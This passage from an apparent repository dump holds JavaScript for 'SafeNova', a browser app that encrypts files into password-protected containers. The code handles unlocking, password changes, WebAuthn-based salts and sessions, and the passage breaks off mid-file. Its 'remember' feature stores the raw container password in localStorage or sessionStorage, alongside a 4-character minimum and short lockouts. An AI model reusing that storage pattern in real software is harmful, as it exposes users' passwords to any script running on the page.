(!card.contains(e.relatedTarget)) card.classList.remove('drag-reorder-over');\n    });\n    card.addEventListener('drop', e => {\n      e.preventDefault();\n      card.classList.remove('drag-reorder-over');\n      const sourceId = e.dataTransfer.getData('text/plain');\n      if (!sourceId || sourceId === c.id) return;\n      const grid2 = document.getElementById('container-grid');\n      const sourceCard = grid2.querySelector(`.container-card[data-id=\"${sourceId}\"]`);\n      if (!sourceCard) return;\n      const all = [...grid2.querySelectorAll('.container-card')];\n      const fromIdx = all.indexOf(sourceCard);\n      const toIdx   = all.indexOf(card);\n      if (fromIdx < toIdx) card.after(sourceCard);\n      else card.before(sourceCard);\n      const newOrder = [...grid2.querySelectorAll('.container-card')].map(el => el.dataset.id).filter(Boolean);\n      _saveCardOrder(newOrder);\n    });\n\n    card.addEventListener('click', e => {\n      if (e.target.closest('.container-card-menu') || e.target.closest('.container-drag-handle')) return;\n      const savedPw = sessionStorage.getItem('twc-s-' + c.id) || localStorage.getItem('twc-s-' + c.id);\n      if (savedPw) {\n        _resumeSession(c, savedPw);\n      } else {\n        openUnlockView(c);\n      }\n    });\n    card.querySelector('.container-card-menu').addEventListener('click', e => {\n      e.stopPropagation();\n      showContainerMenu(e, c);\n    });\n    return card;\n  }\n};\n\n/* ---- Container context menu ---- */\nfunction showContainerMenu(e, c) {\n  const hasSess = !!(sessionStorage.getItem('twc-s-' + c.id) || localStorage.getItem('twc-s-' + c.id));\n  const isOpen  = App.container && App.container.id === c.id;\n  const items = [];\n\n  // Open — resume if session exists, otherwise go to unlock view\n  items.push({ label: 'Open', icon: Icons.unlock, action: () => {\n    const savedPw = sessionStorage.getItem('twc-s-' + c.id) || localStorage.getItem('twc-s-' + c.id);\n    if (savedPw) _resumeSession(c, savedPw); else openUnlockView(c);\n  }});\n  items.push({ sep: true });\n\n  if (hasSess) {\n    items.push({ label: 'Kill Session', icon: Icons.lock, action: () => killSession(c) });\n  }\n\n  // Change Password — always visible, disabled when session active or container open\n  const cpDisabled = hasSess || isOpen;\n  items.push({ label: 'Change Password…', icon: Icons.key, disabled: cpDisabled,\n    _tooltip: cpDisabled ? 'End the active session first' : null,\n    action: cpDisabled ? null : () => openChangePasswordModal(c) });\n\n  // Rename Container — disabled when session active or container open\n  const rnDisabled = hasSess || isOpen;\n  items.push({ label: 'Rename Container…', icon: Icons.rename, disabled: rnDisabled,\n    _tooltip: rnDisabled ? 'End the active session first' : null,\n    action: rnDisabled ? null : () => openRenameContainerModal(c) });\n\n  items.push({ sep: true });\n  items.push({ label: 'Export Container', icon: Icons.download, action: () => exportContainerFile(c) });\n  items.push({ sep: true });\n  items.push({ label: 'Delete Container...', icon: Icons.trash, danger: true, action: () => confirmDeleteContainer(c) });\n  showCtxMenu(e.clientX, e.clientY, items);\n}\n\n/* ---- Kill Session ---- */\nfunction killSession(c) {\n  sessionStorage.removeItem('twc-s-' + c.id);\n  localStorage.removeItem('twc-s-' + c.id);\n  toast(`Session for \"${c.name}\" terminated`, 'info');\n  Home.render();\n}\n\n/* ---- Change Password ---- */\nfunction openChangePasswordModal(c) {\n  document.getElementById('cp-old').value  = '';\n  document.getElementById('cp-new').value  = '';\n  document.getElementById('cp-new2').value = '';\n  document.getElementById('cp-error').textContent = '';\n  document.getElementById('cp-ok')._container = c;\n  Overlay.show('modal-change-pw');\n  setTimeout(() => document.getElementById('cp-old').focus(), 100);\n}\n\nasync function doChangePassword() {\n  const okBtn = document.getElementById('cp-ok');\n  const c     = okBtn._container; if (!c) return;\n  const oldPw = document.getElementById('cp-old').value;\n  const newPw = document.getElementById('cp-new').value;\n  const newPw2= document.getElementById('cp-new2').value;\n  const errEl = document.getElementById('cp-error');\n\n  if (!oldPw)         { errEl.textContent = 'Enter current password'; return; }\n  if (newPw.length<4) { errEl.textContent = 'New password must be at least 4 characters'; return; }\n  if (newPw !== newPw2){ errEl.textContent = 'Passwords do not match'; return; }\n  if (oldPw === newPw) { errEl.textContent = 'New password must differ from current'; return; }\n\n  errEl.textContent = '';\n  Overlay.hide();\n  showLoading('Verifying current password…');\n\n  try {\n    // Verify old password\n    const oldKey = await Crypto.deriveKey(oldPw, new Uint8Array(c.salt));\n    const ok     = await Crypto.checkVerification(oldKey, c.verIv, c.verBlob);\n    if (!ok) { hideLoading(); toast('Incorrect current password', 'error'); return; }\n\n    showLoading('Deriving new key…');\n    const newSalt = Array.from(crypto.getRandomValues(new Uint8Array(32)));\n    const newKey  = await Crypto.deriveKey(newPw, new Uint8Array(newSalt));\n\n    // Re-encrypt VFS\n    showLoading('Re-encrypting VFS…');\n    const vfsRec = await DB.getVFS(c.id);\n    if (vfsRec) {\n      const vfsBuf = await Crypto.decrypt(oldKey, vfsRec.iv, vfsRec.blob);\n      const vfsText = new TextDecoder().decode(vfsBuf);\n      const { iv: newVfsIv, blob: newVfsBlob } = await Crypto.encrypt(newKey, vfsText);\n      await DB.saveVFS(c.id, newVfsIv, newVfsBlob);\n    }\n\n    // Re-encrypt all files\n    const files = await DB.getFilesByCid(c.id);\n    for (let i = 0; i < files.length; i++) {\n      showLoading(`Re-encrypting file ${i + 1} / ${files.length}…`);\n      const f   = files[i];\n      const buf = await Crypto.decryptBin(oldKey, f.iv, f.blob);\n      const { iv, blob } = await Crypto.encryptBin(newKey, buf);\n      await DB.saveFile({ id: f.id, cid: f.cid, iv: Array.from(iv), blob });\n    }\n\n    // Re-encrypt lazyWorkspace manifest if present (imported-but-never-unlocked containers)\n    if (c.lazyWorkspace) {\n      showLoading('Re-encrypting workspace…');\n      const { bin, mIv, mBlob } = c.lazyWorkspace;\n      const manifestBuf = await Crypto.decrypt(oldKey, Array.from(mIv), buf2b64(mBlob));\n      const reEnc = await Crypto.encrypt(newKey, manifestBuf);\n      c.lazyWorkspace = {\n        bin,\n        mIv:   new Uint8Array(reEnc.iv),\n        mBlob: new Uint8Array(b642buf(reEnc.blob)),\n      };\n    }\n\n    // New verification blob\n    showLoading('Finalizing…');\n    const { iv: verIv, blob: verBlob } = await Crypto.makeVerification(newKey);\n\n    // Update container metadata\n    c.salt    = newSalt;\n    c.verIv   = verIv;\n    c.verBlob = verBlob;\n    await DB.saveContainer(c);\n\n    // Clear any stored sessions (password changed)\n    sessionStorage.removeItem('twc-s-' + c.id);\n    localStorage.removeItem('twc-s-' + c.id);\n\n    hideLoading();\n    toast(`Password for \"${c.name}\" changed successfully`, 'success');\n    Home.render();\n  } catch (e) {\n    hideLoading();\n    toast('Change password failed: ' + e.message, 'error');\n    console.error(e);\n  }\n}\n\n/* ---- Rename Container ---- */\nfunction openRenameContainerModal(c) {\n  document.getElementById('rc-name').value = c.name;\n  document.getElementById('rc-error').textContent = '';\n  document.getElementById('rc-ok')._container = c;\n  Overlay.show('modal-rename-container');\n  setTimeout(() => {\n    const inp = document.getElementById('rc-name');\n    inp.focus(); inp.select();\n  }, 100);\n}\n\nasync function doRenameContainer() {\n  const okBtn = document.getElementById('rc-ok');\n  const c     = okBtn._container; if (!c) return;\n  const name  = document.getElementById('rc-name').value.trim();\n  const errEl = document.getElementById('rc-error');\n\n  if (!name) { errEl.textContent = 'Enter a name'; return; }\n  const nameRegex = /^[a-zA-Zа-яА-ЯёЁ0-9 _\\-.,!()@#$%&+=]+$/;\n  if (!nameRegex.test(name)) { errEl.textContent = 'Invalid characters in name'; return; }\n  if (name.toLowerCase() === c.name.toLowerCase()) { Overlay.hide(); return; }\n\n  const existing = await DB.getContainers();\n  if (existing.find(x => x.id !== c.id && x.name.toLowerCase() === name.toLowerCase())) {\n    errEl.textContent = 'A container with this name already exists'; return;\n  }\n\n  c.name = name;\n  await DB.saveContainer(c);\n  Overlay.hide();\n  toast(`Container renamed to \"${name}\"`, 'success');\n  Home.render();\n}\n\nfunction confirmDeleteContainer(c) {\n  document.getElementById('dc-name').textContent = c.name;\n  document.getElementById('dc-msg').textContent  =\n    `Container \"${c.name}\" and ALL its files will be permanently erased. This cannot be undone.`;\n  const okBtn   = document.getElementById('dc-ok');\n  const okLabel = document.getElementById('dc-ok-label');\n  okBtn._container = c;\n  okBtn.disabled   = true;\n  Overlay.show('modal-del-container');\n\n  // 3-second countdown before allowing delete\n  let remaining = 3;\n  okLabel.textContent = `Wait\\u2026 ${remaining}`;\n  const timer = setInterval(() => {\n    remaining--;\n    if (remaining > 0) {\n      okLabel.textContent = `Wait\\u2026 ${remaining}`;\n    } else {\n      clearInterval(timer);\n      okBtn.disabled = false;\n      okLabel.textContent = 'Delete Forever';\n    }\n  }, 1000);\n\n  // Cancel countdown if modal is dismissed\n  okBtn._countdownTimer = timer;\n}\n\n/* ============================================================\n   NEW CONTAINER\n   ============================================================ */\nlet _hwSaltData = null;\n\n/** CRC-32 of a string (for stable UA fingerprint) */\nfunction _crc32str(str) {\n  let crc = 0xFFFFFFFF;\n  for (let i = 0; i < str.length; i++) {\n    crc ^= str.charCodeAt(i);\n    for (let j = 0; j < 8; j++) crc = (crc >>> 1) ^ (crc & 1 ? 0xEDB88320 : 0);\n  }\n  return ((crc ^ 0xFFFFFFFF) >>> 0).toString(16).padStart(8, '0');\n}\n\n/** Derived UA fingerprint as hex string */\nfunction _uaCrc() { return _crc32str(navigator.userAgent); }\n\nconst _KEY_ICON = `<svg width=\"13\" height=\"13\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><rect x=\"1\" y=\"6\" width=\"9\" height=\"7\" rx=\"1.2\" stroke=\"currentColor\" stroke-width=\"1.3\"/><path d=\"M3.5 6V4a2.5 2.5 0 015 0v2\" stroke=\"currentColor\" stroke-width=\"1.3\" stroke-linecap=\"square\"/><circle cx=\"11.5\" cy=\"5.5\" r=\"1.8\" stroke=\"currentColor\" stroke-width=\"1.2\"/><path d=\"M11.5 7.3V9.5\" stroke=\"currentColor\" stroke-width=\"1.2\" stroke-linecap=\"round\"/></svg>`;\n\nconst _HW_STATES = {\n  idle:    () => `${_KEY_ICON}<span>Use passkey for salt</span>`,\n  loading: () => `<div class=\"spinner\" style=\"width:11px;height:11px;border-width:1.5px;flex-shrink:0\"></div><span>Connecting…</span>`,\n  ok:      () => `<svg width=\"12\" height=\"12\" viewBox=\"0 0 12 12\" fill=\"none\" style=\"color:var(--green);flex-shrink:0\"><path d=\"M1.5 6l3 3 6-6\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\"/></svg><span style=\"color:var(--green)\">Salt secured</span>`,\n  fail:    () => `${_KEY_ICON}<span>Use passkey for salt</span>`,\n};\n\nfunction _setHwBtn(state) {\n  const btn = document.getElementById('nc-hwkey-btn');\n  if (!btn) return;\n  btn.innerHTML = _HW_STATES[state]();\n  btn.disabled  = (state === 'loading' || state === 'ok');\n}\n\nasync function _hwKeyBtnClick() {\n  _setHwBtn('loading');\n  try {\n    _hwSaltData = await _webAuthnSalt();\n    _setHwBtn('ok');\n  } catch (e) {\n    _hwSaltData = null;\n    _setHwBtn('idle');\n  }\n}\n\nfunction openNewContainerModal() {\n  document.getElementById('nc-name').value = '';\n  document.getElementById('nc-pw').value   = '';\n  document.getElementById('nc-pw2').value  = '';\n  document.getElementById('nc-pw-strength').style.width = '0%';\n  document.getElementById('nc-pw-strength-label').textContent = '';\n  document.getElementById('nc-agree').checked = false;\n  document.getElementById('nc-create').disabled = true;\n  // Reset hardware key button\n  _hwSaltData = null;\n  const hwBtn = document.getElementById('nc-hwkey-btn');\n  if (hwBtn) {\n    if (window.PublicKeyCredential) { hwBtn.classList.add('show'); _setHwBtn('idle'); }\n    else                            { hwBtn.classList.remove('show'); }\n  }\n  Overlay.show('modal-new-container');\n  setTimeout(() => document.getElementById('nc-name').focus(), 100);\n}\n\n/** Generate salt using WebAuthn passkey mixed with CSPRNG */\nasync function _webAuthnSalt() {\n  const challenge = crypto.getRandomValues(new Uint8Array(32));\n  const userId    = crypto.getRandomValues(new Uint8Array(16));\n  const cred = await navigator.credentials.create({\n    publicKey: {\n      challenge,\n      rp: { name: 'SafeNova' },\n      user: { id: userId, name: `safenova-${_uaCrc()}`, displayName: 'SafeNova' },\n      pubKeyCredParams: [{ type: 'public-key', alg: -7 }, { type: 'public-key', alg: -257 }],\n      authenticatorSelection: { userVerification: 'required' },\n      attestation: 'none',\n      timeout: 60000,\n    }\n  });\n  // Mix authenticatorData with CSPRNG for the final 32-byte salt\n  const authData = new Uint8Array(cred.response.authenticatorData || cred.response.clientDataJSON);\n  const rng      = crypto.getRandomValues(new Uint8Array(32));\n  const combined = new Uint8Array(authData.length + rng.length);\n  combined.set(authData, 0);\n  combined.set(rng, authData.length);\n  const hashBuf = await crypto.subtle.digest('SHA-256', combined);\n  return Array.from(new Uint8Array(hashBuf));\n}\n\nasync function createContainer() {\n  const name = document.getElementById('nc-name').value.trim();\n  const pw   = document.getElementById('nc-pw').value;\n  const pw2  = document.getElementById('nc-pw2').value;\n\n  if (!name)        { toast('Enter a container name', 'error'); return; }\n  // Allow only letters (Latin + Cyrillic), digits, spaces, and safe filename chars\n  const nameRegex = /^[a-zA-Zа-яА-ЯёЁ0-9 _\\-.,!()@#$%&+=]+$/;\n  if (!nameRegex.test(name)) {\n    toast('Container name contains invalid characters. Use letters, digits, spaces, and safe symbols only', 'error'); return;\n  }  if (!document.getElementById('nc-agree').checked) { toast('Please accept the data responsibility terms', 'error'); return; }  if (pw.length < 4){ toast('Password must be at least 4 characters', 'error'); return; }\n  if (pw !== pw2)   { toast('Passwords do not match', 'error'); return; }\n\n  const existing = await DB.getContainers();\n  if (existing.find(c => c.name.toLowerCase() === name.toLowerCase())) {\n    toast('A container with this name already exists', 'error'); return;\n  }\n\n  // Check device storage before creating\n  const spCheck = await checkStorageSpace(1024 * 1024); // minimal overhead\n  if (!spCheck.ok) {\n    toast(`Not enough device storage (${fmtSize(spCheck.available)} available)`, 'error'); return;\n  }\n\n  showLoading('Creating container and deriving key...');\n  Overlay.hide();\n  try {\n    const salt = _hwSaltData || Array.from(crypto.getRandomValues(new Uint8Array(32)));\n    const key  = await Crypto.deriveKey(pw, new Uint8Array(salt));\n    const { iv, blob } = await Crypto.makeVerification(key);\n\n    VFS.init();\n    const vfsStr = JSON.stringify(VFS.toObj());\n    const { iv: vfsIv, blob: vfsBlobB64 } = await Crypto.encrypt(key, vfsStr);\n\n    const container = {\n      id: uid(), name, createdAt: Date.now(),\n      salt, verIv: iv, verBlob: blob,\n      totalSize: 0\n    };\n    await DB.saveContainer(container);\n    await DB.saveVFS(container.id, vfsIv, vfsBlobB64);\n    toast(`Container \"${name}\" created`, 'success');\n    await Home.render();\n  } catch (e) { toast('Error: ' + e.message, 'error'); console.error(e); }\n  hideLoading();\n}\n\nfunction updatePwStrength(pw) {\n  const s = pwStrength(pw);\n  const pct    = [0, 20, 40, 60, 80, 100][s];\n  const colors = ['#555','#f44747','#ce9178','#dcdcaa','#6a9955','#4ec9b0'];\n  const labels = ['','Very Weak','Weak','Fair','Strong','Very Strong'];\n  const bar = document.getElementById('nc-pw-strength');\n  const lbl = document.getElementById('nc-pw-strength-label');\n  bar.style.width      = pct + '%';\n  bar.style.background = colors[s];\n  lbl.textContent      = pw.length ? labels[s] : '';\n  lbl.style.color      = colors[s];\n}\n\n/* ============================================================\n   UNLOCK VIEW\n   ============================================================ */\nlet _unlockContainer = null;\nconst _failCounts = new Map(); // containerId → { count, lockUntil }\n\nfunction _startUnlockCooldown(c) {\n  const errEl = document.getElementById('unlock-error');\n  const btnEl = document.getElementById('btn-unlock');\n  let remaining = 3;\n  errEl.innerHTML = `<svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\"><circle cx=\"7\" cy=\"7\" r=\"6\" stroke=\"currentColor\" stroke-width=\"1.3\"/><path d=\"M7 4v3.5l2.5 1.5\" stroke=\"currentColor\" stroke-width=\"1.3\" stroke-linecap=\"round\"/></svg> Too many attempts — wait ${remaining}s`;\n  errEl.style.color = 'var(--orange)';\n  btnEl.disabled = true;\n  const timer = setInterval(() => {\n    remaining--;\n    if (remaining <= 0) {\n      clearInterval(timer);\n      const fails = _failCounts.get(c.id);\n      if (fails) fails.lockUntil = 0;\n      errEl.textContent = '';\n      errEl.style.color = '';\n      btnEl.disabled = false;\n    } else {\n      errEl.innerHTML = `<svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\"><circle cx=\"7\" cy=\"7\" r=\"6\" stroke=\"currentColor\" stroke-width=\"1.3\"/><path d=\"M7 4v3.5l2.5 1.5\" stroke=\"currentColor\" stroke-width=\"1.3\" stroke-linecap=\"round\"/></svg> Too many attempts — wait ${remaining}s`;\n    }\n  }, 1000);\n}\n\nfunction openUnlockView(c) {\n  _unlockContainer = c;\n  document.getElementById('unlock-name').textContent  = c.name;\n  document.getElementById('unlock-pw').value          = '';\n  document.getElementById('unlock-error').innerHTML = '';\n  document.getElementById('unlock-spinner').classList.remove('show');\n  // Pre-fill checkbox and scope based on saved session\n  const hasSessT = !!sessionStorage.getItem('twc-s-' + c.id);\n  const hasSessW = !!localStorage.getItem('twc-s-' + c.id);\n  const remEl  = document.getElementById('unlock-remember');\n  const opts   = document.getElementById('remember-opts');\n  const tabEl  = document.getElementById('remember-tab');\n  const brwEl  = document.getElementById('remember-browser');\n  if (remEl) {\n    const remembered = hasSessT || hasSessW;\n    remEl.checked = remembered;\n    if (opts) {\n      const radios = opts.querySelectorAll('input[type=\"radio\"]');\n      const labels = opts.querySelectorAll('.remember-opt');\n      radios.forEach(r => r.disabled = !remembered);\n      labels.forEach(l => l.classList.toggle('disabled', !remembered));\n    }\n    if (hasSessW && brwEl) brwEl.checked = true;\n    else if (tabEl) tabEl.checked = true;\n  }\n  App.showView('unlock');\n  setTimeout(() => document.getElementById('unlock-pw').focus(), 100);\n}\n\nasync function doUnlock() {\n  const c  = _unlockContainer; if (!c) return;\n  const pw = document.getElementById('unlock-pw').value;\n  if (!pw) { document.getElementById('unlock-error').innerHTML = '<svg width=\"14\" height=\"14\" viewBox=\"0 0 16 16\" fill=\"none\"><path d=\"M8 1.5a6.5 6.5 0 100 13 6.5 6.5 0 000-13zM7.25 5h1.5v4h-1.5V5zm0 5h1.5v1.5h-1.5V10z\" fill=\"currentColor\"/></svg> Enter password'; return; }\n\n  // Brute-force protection: check if currently locked out\n  const fails = _failCounts.get(c.id) || { count: 0, lockUntil: 0 };\n  if (fails.lockUntil > Date.now()) return; // button is already disabled during lockout\n\n  document.getElementById('unlock-error').innerHTML = '';\n  document.getElementById('unlock-spinner').classList.add('show');\n  document.getElementById('btn-unlock').disabled = true;\n\n  try {\n    const key = await Crypto.deriveKey(pw, new Uint8Array(c.salt));\n    const ok  = await Crypto.checkVerification(key, c.verIv, c.verBlob);\n\n    if (!ok) {\n      fails.count++;\n      _failCounts.set(c.id, fails);\n      document.getElementById('unlock-spinner').classList.remove('show');\n      if (fails.count > 3) {\n        fails.lockUntil = Date.now() + 3000;\n        _startUnlockCooldown(c);\n      } else {\n        document.getElementById('unlock-error').innerHTML = '<svg width=\"14\" height=\"14\" viewBox=\"0 0 16 16\" fill=\"none\"><path d=\"M8 1.5a6.5 6.5 0 100 13 6.5 6.5 0 000-13zM7.25 5h1.5v4h-1.5V5zm0 5h1.5v1.5h-1.5V10z\" fill=\"currentColor\"/></svg> Incorrect password';\n        document.getElementById('btn-unlock').disabled = false;\n      }\n      return;\n    }\n\n    // Load VFS\n    const vfsRec = await DB.getVFS(c.id);\n    if (vfsRec) {\n      try {\n        const buf  = await Crypto.decrypt(key, vfsRec.iv, vfsRec.blob);\n        const json = JSON.parse(new TextDecoder().decode(buf));\n        VFS.fromObj(json);\n      } catch { VFS.init(); }\n    } else { VFS.init(); }\n\n    // Expand lazy workspace if this container was imported without a password\n    let _activeCont = c;\n    if (c.lazyWorkspace) {\n      showLoading('Restoring files from import\\u2026');\n      try {\n        const { bin, mIv, mBlob } = c.lazyWorkspace;\n        const decBuf   = await Crypto.decrypt(key, Array.from(mIv), buf2b64(mBlob));\n        const manifest = JSON.parse(new TextDecoder().decode(decBuf));\n        for (const m of manifest) {\n          const iv   = Array.from(Uint8Array.from(atob(m.ivB64), ch => ch.charCodeAt(0)));\n          const blob = bin.slice(m.offset, m.offset + m.size).buffer;\n          await DB.saveFile({ id: m.id, cid: c.id, iv, blob });\n        }\n        const cleanCont = Object.assign({}, c);\n        delete cleanCont.lazyWorkspace;\n        await DB.saveContainer(cleanCont);\n        _activeCont = cleanCont;\n        _unlockContainer = cleanCont;\n      } catch (expandErr) {\n        console.error('Lazy expand failed', expandErr);\n        toast('Could not restore files from import', 'error');\n      }\n      hideLoading();\n    }\n\n    _failCounts.delete(c.id); // reset fail count on successful unlock\n\n    App.container = _activeCont;\n    App.key       = key;\n    App.folder    = 'root';\n    App.selection.clear();\n    App.showView('desktop');\n    if (typeof _applySettings === 'function') _applySettings(_getSettings());\n    Desktop.render();\n    toast(`Container \"${c.name}\" unlocked`, 'success');\n    // Save or clear session based on checkbox\n    const remEl = document.getElementById('unlock-remember');\n    if (remEl && remEl.checked) {\n      const scope = document.querySelector('input[name=\"remember-scope\"]:checked')?.value || 'tab';\n      if (scope === 'browser') {\n        try { localStorage.setItem('twc-s-' + c.id, pw); } catch (e) {}\n        sessionStorage.removeItem('twc-s-' + c.id);\n      } else {\n        try { sessionStorage.setItem('twc-s-' + c.id, pw); } catch (e) {}\n        localStorage.removeItem('twc-s-' + c.id);\n      }\n    } else {\n      // Checkbox unchecked — clear any previously saved session\n      sessionStorage.removeItem('twc-s-' + c.id);\n      localStorage.removeItem('twc-s-' + c.id);\n    }\n  } catch (e) {\n    document.getElementById('unlock-error').innerHTML = '<svg width=\"14\" height=\"14\" viewBox=\"0 0 16 16\" fill=\"none\"><path d=\"M8 1.5a6.5 6.5 0 100 13 6.5 6.5 0 000-13zM7.25 5h1.5v4h-1.5V5zm0 5h1.5v1.5h-1.5V10z\" fill=\"currentColor\"/></svg> ' + escHtml(e.message);\n    console.error(e);\n  }\n  document.getElementById('unlock-spinner').classList.remove('show');\n  document.getElementById('btn-unlock').disabled = false;\n}\n\n/* ============================================================\n   DELETE CONTAINER (confirmed with password)\n   ============================================================ */\nasync function deleteContainerConfirmed() {\n  const okBtn = document.getElementById('dc-ok');\n  const c     = okBtn._container; if (!c) return;\n  if (okBtn.disabled) return;\n\n  // Clear countdown timer if still running\n  if (okBtn._countdownTimer) { clearInterval(okBtn._countdownTimer); okBtn._countdownTimer = null; }\n\n  showLoading('Erasing container...');\n  Overlay.hide();\n  try {\n    await DB.nukeContainer(c.id);\n    // Also clear any remembered session for this container\n    try { sessionStorage.removeItem('twc-s-' + c.id); } catch (e) {}\n    try { localStorage.removeItem('twc-s-' + c.id); } catch (e) {}\n    hideLoading();\n    await Home.render();\n    toast(`Container \\\"${c.name}\\\" deleted`, 'info');\n  } catch (e) {\n    hideLoading();\n    toast('Delete failed: ' + e.message, 'error');\n  }\n}\n\n/* ============================================================\n   SESSION RESUME  —  auto-unlock using stored sessionStorage password\n   ============================================================ */\nasync function _resumeSession(c, pw) {\n  showLoading('Restoring session...');\n  try {\n    const key = await Crypto.deriveKey(pw, new Uint8Array(c.salt));\n    const ok  = await Crypto.checkVerification(key, c.verIv, c.verBlob);\n    if (!ok) {\n      // Stored session is invalid (password changed?) — clear it and open unlock view\n      sessionStorage.removeItem('twc-s-' + c.id);\n      localStorage.removeItem('twc-s-' + c.id);\n      hideLoading();\n      openUnlockView(c);\n      return;\n    }\n    const vfsRec = await DB.getVFS(c.id);\n    if (vfsRec) {\n      try {\n        const buf  = await Crypto.decrypt(key, vfsRec.iv, vfsRec.blob);\n        const json = JSON.parse(new TextDecoder().decode(buf));\n        VFS.fromObj(json);\n      } catch { VFS.init(); }\n    } else { VFS.init(); }\n\n    // Defensive: expand lazyWorkspace if somehow present at session resume\n    if (c.lazyWorkspace) {\n      try {\n        const { bin, mIv, mBlob } = c.lazyWorkspace;\n        const decBuf   = await Crypto.decrypt(key, Array.from(mIv), buf2b64(mBlob));\n        const manifest = JSON.parse(new TextDecoder().decode(decBuf));\n        for (const m of manifest) {\n          const iv   = Array.from(Uint8Array.from(atob(m.ivB64), ch => ch.charCodeAt(0)));\n          const blob = bin.slice(m.offset, m.offset + m.size).buffer;\n          await DB.saveFile({ id: m.id, cid: c.id, iv, blob });\n        }\n        const cleanCont = Object.assign({}, c);\n        delete cleanCont.lazyWorkspace;\n        await DB.saveContainer(cleanCont);\n        c = cleanCont;\n      } catch (expandErr) {\n        console.error('Lazy expand in resume failed', expandErr);\n      }\n    }\n\n    App.container = c;\n    App.key       = key;\n    App.folder    = 'root';\n    App.selection.clear();\n    App.showView('desktop');\n    if (typeof _applySettings === 'function') _applySettings(_getSettings());\n    Desktop.render();\n    toast(`Session for \"${c.name}\" restored`, 'success');\n  } catch (e) {\n    hideLoading();\n    toast('Resume failed: ' + e.message, 'error');\n    openUnlockView(c);\n    return;\n  }\n  hideLoading();\n}\n"
  },
  {
    "path": "safenova/js/main.js",
    "content": "'use strict';\n\n/* ============================================================\n   PASSWORD EYE TOGGLE\n   ============================================================ */\nfunction togglePwEye(inputId, btnId) {\n  const input = document.getElementById(inputId);\n  const btn   = document.getElementById(btnId);\n  if (input.type === 'password') {\n    input.type      = 'text';\n    btn.style.color = 'var(--accent)';\n    btn.innerHTML   = Icons.eyeoff;\n  } else {\n    input.type      = 'password';\n    btn.style.color = '';\n    btn.innerHTML   = Icons.eye;\n  }\n}\n\n/* ============================================================\n   EVENT LISTENERS\n   ============================================================ */\nfunction initEvents() {\n\n  /* ---- Home ---- */\n  document.getElementById('btn-new-container').addEventListener('click', openNewContainerModal);\n  document.getElementById('btn-import-container').addEventListener('click', () => document.getElementById('import-container-input').click());\n  document.getElementById('import-container-input').addEventListener('change', e => {\n    const file = e.target.files[0];\n    if (file) importContainerFile(file);\n    e.target.value = '';\n  });\n\n  /* ---- New Container Modal ---- */\n  document.getElementById('nc-pw').addEventListener('input', e => updatePwStrength(e.target.value));\n  document.getElementById('nc-pw-eye').addEventListener('click', () => togglePwEye('nc-pw', 'nc-pw-eye'));\n  document.getElementById('nc-create').addEventListener('click', createContainer);\n  document.getElementById('nc-cancel').addEventListener('click', () => Overlay.hide());\n  document.getElementById('modal-nc-close').addEventListener('click', () => Overlay.hide());\n  document.getElementById('nc-agree').addEventListener('change', e => {\n    document.getElementById('nc-create').disabled = !e.target.checked;\n  });\n  document.getElementById('nc-hwkey-btn')?.addEventListener('click', _hwKeyBtnClick);\n  document.getElementById('nc-name').addEventListener('keydown', e => { if (e.key === 'Enter') document.getElementById('nc-pw').focus(); });\n  document.getElementById('nc-pw').addEventListener('keydown',   e => { if (e.key === 'Enter') document.getElementById('nc-pw2').focus(); });\n  document.getElementById('nc-pw2').addEventListener('keydown',  e => { if (e.key === 'Enter') createContainer(); });\n\n  /* ---- Unlock ---- */\n  document.getElementById('btn-back').addEventListener('click',    () => App.showView('home'));\n  document.getElementById('btn-unlock').addEventListener('click',  doUnlock);\n  document.getElementById('unlock-pw').addEventListener('keydown', e => { if (e.key === 'Enter') doUnlock(); });\n  document.getElementById('unlock-pw-eye').addEventListener('click', () => togglePwEye('unlock-pw', 'unlock-pw-eye'));\n\n  /* ---- Export password modal eye toggle ---- */\n  document.getElementById('exp-eye')?.addEventListener('click', () => {\n    const inp = document.getElementById('exp-pw');\n    const show = inp.type === 'password';\n    inp.type = show ? 'text' : 'password';\n    document.querySelector('#exp-eye .eye-open').style.display  = show ? 'none' : '';\n    document.querySelector('#exp-eye .eye-closed').style.display = show ? '' : 'none';\n  });\n\n  /* ---- Remember scope toggle ---- */\n  document.getElementById('unlock-remember').addEventListener('change', e => {\n    const opts = document.getElementById('remember-opts');\n    if (!opts) return;\n    const radios = opts.querySelectorAll('input[type=\"radio\"]');\n    const labels = opts.querySelectorAll('.remember-opt');\n    radios.forEach(r => r.disabled = !e.target.checked);\n    labels.forEach(l => l.classList.toggle('disabled', !e.target.checked));\n  });\n\n  /* ---- Desktop toolbar ---- */\n  document.getElementById('btn-lock').addEventListener('click',            () => App.backToMenu());\n  document.getElementById('btn-lock-taskbar').addEventListener('click',    () => App.lockContainer());\n\n  document.getElementById('btn-upload-toolbar').addEventListener('click',  () => document.getElementById('file-input').click());\n  document.getElementById('btn-new-file-toolbar').addEventListener('click', newTextFile);\n  document.getElementById('btn-new-folder-toolbar').addEventListener('click', newFolder);\n  document.getElementById('btn-settings').addEventListener('click', openSettings);\n  document.getElementById('settings-close').addEventListener('click', () => Overlay.hide());\n  document.getElementById('settings-ok').addEventListener('click', () => Overlay.hide());\n  document.getElementById('file-input').addEventListener('change', e => {\n    uploadFiles(Array.from(e.target.files));\n    e.target.value = '';\n  });\n\n  /* ---- Text Editor ---- */\n  document.getElementById('btn-save-editor').addEventListener('click', saveEditor);\n  document.getElementById('editor-close').addEventListener('click',    closeEditor);\n  document.getElementById('editor-textarea').addEventListener('keydown', e => {\n    if (e.ctrlKey && e.code === 'KeyS') { e.preventDefault(); saveEditor(); }\n  });\n\n  /* ---- Unsaved-changes dialog buttons ---- */\n  document.getElementById('editor-unsaved-cancel').addEventListener('click', () => {\n    document.getElementById('editor-unsaved-dialog').style.display = 'none';\n  });\n  document.getElementById('editor-unsaved-discard').addEventListener('click', () => {\n    document.getElementById('editor-unsaved-dialog').style.display = 'none';\n    discardEditor();\n  });\n  document.getElementById('editor-unsaved-save').addEventListener('click', async () => {\n    document.getElementById('editor-unsaved-dialog').style.display = 'none';\n    await saveAndCloseEditor();\n  });\n\n  /* ---- File Viewer ---- */\n  document.getElementById('viewer-close').addEventListener('click', closeViewer);\n\n  /* ---- Properties ---- */\n  document.getElementById('props-close').addEventListener('click', () => Overlay.hide());\n  document.getElementById('props-ok').addEventListener('click',    () => Overlay.hide());\n\n  /* ---- 